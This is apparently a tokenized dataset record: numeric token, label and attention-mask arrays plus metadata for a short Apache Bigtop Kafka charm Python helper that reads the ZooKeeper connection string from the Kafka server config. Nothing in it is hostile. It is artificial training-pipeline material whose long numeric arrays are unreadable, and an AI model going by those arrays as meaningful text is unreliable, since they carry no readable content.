14, 7844, 6139, 8640, 2267, 272, 791, 2339, 356, 283, 1176, 14, 2828, 14, 1178, 14, 2060, 63, 6136, 14, 12092, 4625, 8640, 297, 283, 8808, 356, 469, 267, 283, 827, 63, 1267, 356, 3144, 12, 272, 789, 1386, 199, 566, 199, 533, 13635, 13816, 774, 8, 1746, 304, 272, 347, 511, 63, 362, 63, 885, 63, 2060, 63, 11346, 8, 277, 304, 267, 14370, 275, 664, 63, 885, 63, 2060, 63, 11346, 342, 267, 291, 14, 629, 8, 552, 8, 11346, 395, 499, 9, 267, 291, 14, 629, 8, 11346, 59, 16, 17979, 533, 4914, 354, 3108, 283, 7844, 6139, 8640, 358, 267, 291, 14, 629, 8, 11346, 59, 17, 17979, 533, 4914, 354, 3108, 283, 12092, 4625, 8640, 358, 267, 291, 14, 629, 8, 11346, 59, 17, 1055, 827, 63, 1267, 12, 3144, 9, 339, 347, 511, 63, 362, 63, 2060, 63, 11346, 63, 4229, 8, 277, 304, 267, 11822, 63, 888, 275, 9016, 2339, 356, 283, 1176, 14, 2828, 14, 1178, 14, 2060, 63, 6136, 14, 7844, 6139, 8640, 20623, 267, 14370, 275, 664, 63, 2060, 63, 11346, 8, 11034, 63, 888, 9, 267, 291, 14, 629, 8, 552, 8, 11346, 395, 413, 9, 267, 291, 14, 629, 8, 11346, 59, 16, 17979, 533, 4914, 354, 3108, 283, 7844, 6139, 8640, 358, 398, 291, 14, 629, 8, 362, 63, 2060, 63, 11346, 25550, 3073, 339, 347, 511, 63, 3502, 63, 2060, 8, 277, 304, 267, 291, 14, 7702, 8, 3502, 63, 2060, 360, 83, 12983, 590, 13, 2809, 1333, 267, 1499, 63, 7354, 63, 3612, 275, 283, 2765, 2505, 365, 4634, 3974, 14, 2779, 1471, 1395, 737, 5210, 3144, 4110, 3530, 398, 543, 291, 14, 1855, 8, 8172, 9, 465, 6904, 26, 288, 4107, 63, 2060, 360, 1176, 20, 13212, 358, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 3431, 12, 359, 1328, 63, 7354, 63, 3612, 566, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 705, 63, 513, 59, 16, 1055, 600, 12, 283, 2060, 63, 7354, 63, 3612, 358, 398, 543, 291, 14, 1855, 8, 8172, 9, 465, 6904, 26, 288, 4107, 63, 2060, 360, 2060, 358, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 3431, 12, 788, 2765, 2505, 365, 4634, 2863, 3130, 1499, 63, 7354, 63, 3612, 566, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 705, 63, 513, 59, 16, 1055, 600, 12, 283, 2060, 63, 7354, 63, 2330, 358, 398, 291, 14, 7702, 8, 3502, 63, 2060, 360, 2060, 297, 2505, 63, 11346, 1524, 2459, 339, 347, 511, 63, 2060, 63, 2489, 8, 277, 304, 267, 291, 14, 7702, 8, 2060, 63, 2489, 360, 2060, 1333, 339, 347, 511, 63, 2060, 63, 11346, 63, 3437, 63, 19517, 8, 277, 304, 267, 1720, 63, 19517, 275, 2505, 63, 11346, 63, 3437, 63, 19517, 342, 267, 291, 14, 629, 8, 552, 8, 3437, 63, 19517, 395, 499, 9, 267, 291, 14, 4080, 360, 713, 4110, 297, 1720, 63, 19517, 59, 17, 566, 398, 291, 14, 629, 8, 2060, 63, 11346, 63, 3437, 63, 19517, 8, 2060, 63, 11346, 1524, 2522, 3073, 339, 347, 511, 63, 2060, 63, 11346, 63, 3437, 63, 505, 63, 1360, 8, 277, 304, 267, 1720, 63, 505, 275, 2505, 63, 11346, 63, 3437, 63, 505, 63, 1360, 342, 267, 291, 14, 629, 8, 3437, 63, 505, 14, 835, 4827, 317, 25642, 499, 9, 267, 291, 14, 4080, 360, 713, 4110, 297, 1720, 63, 505, 9, 421, 199, 533, 22466, 4625, 8640, 774, 8, 1746, 304, 272, 347, 511, 63, 3502, 8, 277, 304, 267, 1420, 63, 705, 275, 298, 2765, 2505, 365, 4634, 3974, 14, 2779, 1471, 1395, 737, 5210, 450, 68, 4110, 2122, 267, 291, 14, 7702, 8, 12092, 4625, 8640, 1252, 3502, 360, 19542, 1333, 267, 291, 14, 7702, 8, 12092, 4625, 8640, 8, 827, 63, 1267, 29, 19, 680, 3502, 360, 4288, 1333, 398, 543, 291, 14, 1855, 8, 8172, 9, 465, 6904, 26, 288, 22466, 4625, 8640, 1252, 3502, 360, 30217, 358, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 3431, 12, 359, 2062, 63, 705, 450, 1695, 566, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 705, 63, 513, 59, 16, 1055, 600, 12, 283, 2060, 63, 7354, 63, 3612, 358, 398, 543, 291, 14, 1855, 8, 8172, 9, 465, 6904, 26, 288, 22466, 4625, 8640, 8, 827, 63, 1267, 29, 19, 680, 3502, 360, 713, 358, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 3431, 12, 359, 2062, 63, 705, 450, 650, 566, 339, 347, 511, 63, 3437, 63, 505, 8, 277, 304, 267, 291, 14, 629, 8, 288, 22466, 4625, 8640, 1252, 362, 63, 3437, 63, 505, 1062, 288, 298, 14398, 2505, 1471, 1395, 737, 5210, 1695, 4110, 2122, 267, 776, 421, 199, 533, 2876, 1646, 7467, 13093, 8640, 774, 8, 1746, 304, 272, 347, 511, 63, 3502, 8, 277, 304, 267, 922, 275, 2876, 14, 1462, 14, 981, 8, 288, 3434, 534, 396, 1258, 297, 1642, 63, 354, 534, 774, 297, 2061, 63, 354, 534, 3041, 297, 3031, 534, 396, 1258, 32, 2694, 14, 957, 297, 288, 2505, 534, 4835, 17, 4, 22, 2829, 67, 16, 4, 70, 3129, 69, 771, 25, 2592, 13332, 18, 70, 821, 65 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 747, 199, 199, 504, 1639, 14, 2828, 14, 1178, 14, 992, 492, 2876, 199, 504, 1639, 14, 2828, 14, 1178, 14, 2060, 63, 6136, 492, 334, 272, 13964, 6139, 8640, 12, 22466, 4625, 8640, 12, 19378, 6139, 8640, 12, 272, 2876, 1646, 7467, 13093, 8640, 12, 664, 63, 885, 63, 2060, 63, 11346, 12, 272, 664, 63, 2060, 63, 11346, 12, 2505, 63, 2489, 12, 272, 2505, 63, 11346, 63, 3437, 63, 505, 63, 1360, 12, 2505, 63, 11346, 63, 3437, 63, 19517, 12, 272, 4107, 63, 2060, 12, 199, 9, 199, 504, 1639, 14, 1018, 14, 3924, 492, 8505, 199, 504, 1639, 14, 396, 492, 7640, 12, 4278, 63, 1751, 199, 504, 1639, 14, 1208, 423, 736, 492, 1536, 1619, 421, 199, 32, 4415, 63, 1751, 8, 5580, 63, 9032, 63, 5600, 19033, 1524, 272, 791, 2339, 356, 283, 1176, 14, 2828, 14, 1178, 14, 2060, 63, 6136, 14, 7844, 6139, 8640, 2267, 272, 791, 2339, 356, 283, 1176, 14, 2828, 14, 1178, 14, 2060, 63, 6136, 14, 12092, 4625, 8640, 297, 283, 8808, 356, 469, 267, 283, 827, 63, 1267, 356, 3144, 12, 272, 789, 1386, 199, 566, 199, 533, 13635, 13816, 774, 8, 1746, 304, 272, 347, 511, 63, 362, 63, 885, 63, 2060, 63, 11346, 8, 277, 304, 267, 14370, 275, 664, 63, 885, 63, 2060, 63, 11346, 342, 267, 291, 14, 629, 8, 552, 8, 11346, 395, 499, 9, 267, 291, 14, 629, 8, 11346, 59, 16, 17979, 533, 4914, 354, 3108, 283, 7844, 6139, 8640, 358, 267, 291, 14, 629, 8, 11346, 59, 17, 17979, 533, 4914, 354, 3108, 283, 12092, 4625, 8640, 358, 267, 291, 14, 629, 8, 11346, 59, 17, 1055, 827, 63, 1267, 12, 3144, 9, 339, 347, 511, 63, 362, 63, 2060, 63, 11346, 63, 4229, 8, 277, 304, 267, 11822, 63, 888, 275, 9016, 2339, 356, 283, 1176, 14, 2828, 14, 1178, 14, 2060, 63, 6136, 14, 7844, 6139, 8640, 20623, 267, 14370, 275, 664, 63, 2060, 63, 11346, 8, 11034, 63, 888, 9, 267, 291, 14, 629, 8, 552, 8, 11346, 395, 413, 9, 267, 291, 14, 629, 8, 11346, 59, 16, 17979, 533, 4914, 354, 3108, 283, 7844, 6139, 8640, 358, 398, 291, 14, 629, 8, 362, 63, 2060, 63, 11346, 25550, 3073, 339, 347, 511, 63, 3502, 63, 2060, 8, 277, 304, 267, 291, 14, 7702, 8, 3502, 63, 2060, 360, 83, 12983, 590, 13, 2809, 1333, 267, 1499, 63, 7354, 63, 3612, 275, 283, 2765, 2505, 365, 4634, 3974, 14, 2779, 1471, 1395, 737, 5210, 3144, 4110, 3530, 398, 543, 291, 14, 1855, 8, 8172, 9, 465, 6904, 26, 288, 4107, 63, 2060, 360, 1176, 20, 13212, 358, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 3431, 12, 359, 1328, 63, 7354, 63, 3612, 566, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 705, 63, 513, 59, 16, 1055, 600, 12, 283, 2060, 63, 7354, 63, 3612, 358, 398, 543, 291, 14, 1855, 8, 8172, 9, 465, 6904, 26, 288, 4107, 63, 2060, 360, 2060, 358, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 3431, 12, 788, 2765, 2505, 365, 4634, 2863, 3130, 1499, 63, 7354, 63, 3612, 566, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 705, 63, 513, 59, 16, 1055, 600, 12, 283, 2060, 63, 7354, 63, 2330, 358, 398, 291, 14, 7702, 8, 3502, 63, 2060, 360, 2060, 297, 2505, 63, 11346, 1524, 2459, 339, 347, 511, 63, 2060, 63, 2489, 8, 277, 304, 267, 291, 14, 7702, 8, 2060, 63, 2489, 360, 2060, 1333, 339, 347, 511, 63, 2060, 63, 11346, 63, 3437, 63, 19517, 8, 277, 304, 267, 1720, 63, 19517, 275, 2505, 63, 11346, 63, 3437, 63, 19517, 342, 267, 291, 14, 629, 8, 552, 8, 3437, 63, 19517, 395, 499, 9, 267, 291, 14, 4080, 360, 713, 4110, 297, 1720, 63, 19517, 59, 17, 566, 398, 291, 14, 629, 8, 2060, 63, 11346, 63, 3437, 63, 19517, 8, 2060, 63, 11346, 1524, 2522, 3073, 339, 347, 511, 63, 2060, 63, 11346, 63, 3437, 63, 505, 63, 1360, 8, 277, 304, 267, 1720, 63, 505, 275, 2505, 63, 11346, 63, 3437, 63, 505, 63, 1360, 342, 267, 291, 14, 629, 8, 3437, 63, 505, 14, 835, 4827, 317, 25642, 499, 9, 267, 291, 14, 4080, 360, 713, 4110, 297, 1720, 63, 505, 9, 421, 199, 533, 22466, 4625, 8640, 774, 8, 1746, 304, 272, 347, 511, 63, 3502, 8, 277, 304, 267, 1420, 63, 705, 275, 298, 2765, 2505, 365, 4634, 3974, 14, 2779, 1471, 1395, 737, 5210, 450, 68, 4110, 2122, 267, 291, 14, 7702, 8, 12092, 4625, 8640, 1252, 3502, 360, 19542, 1333, 267, 291, 14, 7702, 8, 12092, 4625, 8640, 8, 827, 63, 1267, 29, 19, 680, 3502, 360, 4288, 1333, 398, 543, 291, 14, 1855, 8, 8172, 9, 465, 6904, 26, 288, 22466, 4625, 8640, 1252, 3502, 360, 30217, 358, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 3431, 12, 359, 2062, 63, 705, 450, 1695, 566, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 705, 63, 513, 59, 16, 1055, 600, 12, 283, 2060, 63, 7354, 63, 3612, 358, 398, 543, 291, 14, 1855, 8, 8172, 9, 465, 6904, 26, 288, 22466, 4625, 8640, 8, 827, 63, 1267, 29, 19, 680, 3502, 360, 713, 358, 267, 291, 14, 629, 8, 4400, 14, 1971, 14, 3431, 12, 359, 2062, 63, 705, 450, 650, 566, 339, 347, 511, 63, 3437, 63, 505, 8, 277, 304, 267, 291, 14, 629, 8, 288, 22466, 4625, 8640, 1252, 362, 63, 3437, 63, 505, 1062, 288, 298, 14398, 2505, 1471, 1395, 737, 5210, 1695, 4110, 2122, 267, 776, 421, 199, 533, 2876, 1646, 7467, 13093, 8640, 774, 8, 1746, 304, 272, 347, 511, 63, 3502, 8, 277, 304, 267, 922, 275, 2876, 14, 1462, 14, 981, 8, 288, 3434, 534, 396, 1258, 297, 1642, 63, 354, 534, 774, 297, 2061, 63, 354, 534, 3041, 297, 3031, 534, 396, 1258, 32, 2694, 14, 957, 297, 288, 2505, 534, 4835, 17, 4, 22, 2829, 67, 16, 4, 70, 3129, 69, 771, 25, 2592, 13332, 18, 70, 821, 65, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Guavus/bigtop
bigtop-packages/src/charm/kafka/layer-kafka/actions/kafkautils.py
2
1244
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import re import sys from charmhelpers.core import hookenv def fail(msg, output='<No output>'): hookenv.action_set({'output': output}) hookenv.action_fail(msg) sys.exit() def get_zookeepers(): cfg = '/etc/kafka/conf/server.properties' print(cfg) file = open(cfg, "r") for line in file: if re.search('^zookeeper.connect=.*', line): zks = line.split("=")[1].strip('\n') return zks return None
apache-2.0
[ 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 295, 199, 646, 984, 199, 199, 504, 1495, 77, 7546, 14, 1018, 492, 21404, 421, 199, 318, 2449, 8, 1328, 12, 1072, 15829, 1944, 1072, 30, 735, 272, 21404, 14, 1287, 63, 409, 3252, 1199, 356, 1072, 1552, 272, 21404, 14, 1287, 63, 1633, 8, 1328, 9, 272, 984, 14, 2224, 342, 421, 199, 318, 664, 63, 90, 23479, 83, 837, 272, 4810, 275, 1994, 6839, 15, 26186, 15, 2190, 15, 1000, 14, 3282, 7, 272, 870, 8, 4128, 9, 272, 570, 275, 1551, 8, 4128, 12, 298, 82, 531, 339, 367, 1004, 315, 570, 26, 267, 340, 295, 14, 1733, 9097, 90, 23479, 14, 2242, 29, 16110, 1004, 304, 288, 1315, 6080, 275, 1004, 14, 1294, 480, 29, 9981, 17, 1055, 1913, 2258, 78, 358, 288, 372, 1315, 6080, 339, 372, 488, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 503, 1655, 199, 3, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 1854, 543, 199, 3, 642, 1736, 367, 4722, 2556, 12602, 4248, 12715, 14, 199, 3, 710, 14857, 12378, 642, 570, 370, 2047, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 199, 3, 334, 1589, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 199, 3, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 295, 199, 646, 984, 199, 199, 504, 1495, 77, 7546, 14, 1018, 492, 21404, 421, 199, 318, 2449, 8, 1328, 12, 1072, 15829, 1944, 1072, 30, 735, 272, 21404, 14, 1287, 63, 409, 3252, 1199, 356, 1072, 1552, 272, 21404, 14, 1287, 63, 1633, 8, 1328, 9, 272, 984, 14, 2224, 342, 421, 199, 318, 664, 63, 90, 23479, 83, 837, 272, 4810, 275, 1994, 6839, 15, 26186, 15, 2190, 15, 1000, 14, 3282, 7, 272, 870, 8, 4128, 9, 272, 570, 275, 1551, 8, 4128, 12, 298, 82, 531, 339, 367, 1004, 315, 570, 26, 267, 340, 295, 14, 1733, 9097, 90, 23479, 14, 2242, 29, 16110, 1004, 304, 288, 1315, 6080, 275, 1004, 14, 1294, 480, 29, 9981, 17, 1055, 1913, 2258, 78, 358, 288, 372, 1315, 6080, 339, 372, 488, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 